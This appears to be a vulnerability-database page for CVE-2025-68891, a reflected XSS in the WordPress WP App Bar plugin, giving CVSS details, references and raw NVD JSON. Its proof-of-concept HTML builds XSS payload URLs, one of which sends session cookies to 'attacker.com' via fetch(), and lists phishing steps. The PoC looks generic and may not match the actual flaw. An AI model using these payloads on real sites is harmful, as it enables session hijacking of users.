CVE-2025-68891

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ryan Sutana WP App Bar wp-app-bar allows Reflected XSS.This issue affects WP App Bar: from n/a through <= 1.5.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP App Bar插件 <= 1.5 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-68891 PoC: WordPress WP App Bar Reflected XSS -->
<!-- Target: WordPress site with WP App Bar plugin <= 1.5 installed -->
<!-- Attack Type: Reflected XSS via URL parameter injection -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-68891 PoC</title>
</head>
<body>
    <h1>CVE-2025-68891: WP App Bar Reflected XSS PoC</h1>
    
    <p><strong>Target:</strong> WordPress site with vulnerable WP App Bar plugin</p>
    <p><strong>Vulnerability:</strong> Reflected Cross-site Scripting (XSS)</p>
    <p><strong>CVSS Score:</strong> 7.1 (High)</p>
    
    <h2>Attack Scenarios:</h2>
    
    <!-- Malicious URL that triggers XSS -->
    <h3>Scenario 1: Basic XSS via script tag</h3>
    <p>Construct malicious URL:</p>
    <code id="xss-url-1"></code>
    
    <h3>Scenario 2: XSS via event handler</h3>
    <p>Alternative payload using HTML event handlers:</p>
    <code id="xss-url-2"></code>
    
    <h3>Scenario 3: Cookie stealing payload</h3>
    <p>Malicious payload to steal session cookies:</p>
    <code id="xss-url-3"></code>
    
    <h2>Exploitation Steps:</h2>
    <ol>
        <li>Attacker crafts a malicious URL containing XSS payload</li>
        <li>Attacker tricks victim into clicking the link (phishing, social engineering)</li>
        <li>Victim's browser sends request to vulnerable WordPress site</li>
        <li>Server reflects unsanitized input in response</li>
        <li>Victim's browser executes malicious JavaScript</li>
        <li>Attacker steals session cookies or performs actions on behalf of victim</li>
    </ol>
    
    <script>
        // Get target URL (replace with actual vulnerable site)
        var targetBase = window.location.origin;
        
        // Payload 1: Basic script injection
        var payload1 = '<script>alert("XSS - CVE-2025-68891")<\/script>';
        var xssUrl1 = targetBase + '/?s=' + encodeURIComponent(payload1);
        document.getElementById('xss-url-1').textContent = xssUrl1;
        
        // Payload 2: Event handler injection
        var payload2 = '" onerror="alert(String.fromCharCode(88,83,83,32,67,86,69,45,50,48,50,53,45,54,56,56,57,49))" x="';
        var xssUrl2 = targetBase + '/?s=' + encodeURIComponent(payload2);
        document.getElementById('xss-url-2').textContent = xssUrl2;
        
        // Payload 3: Cookie stealing
        var payload3 = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">"';
        var xssUrl3 = targetBase + '/?s=' + encodeURIComponent(payload3);
        document.getElementById('xss-url-3').textContent = xssUrl3;
        
        // Note: This PoC is for educational and testing purposes only
        console.log('CVE-2025-68891 PoC loaded');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68891
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68891
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68891/
[4] VulDB https://vuldb.com/cve/CVE-2025-68891
[5] https://patchstack.com/database/Wordpress/Plugin/wp-app-bar/vulnerability/wordpress-wp-app-bar-plugin-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68891", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:54.357", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ryan Sutana WP App Bar wp-app-bar allows Reflected XSS.This issue affects WP App Bar: from n/a through <= 1.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-app-bar/vulnerability/wordpress-wp-app-bar-plugin-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}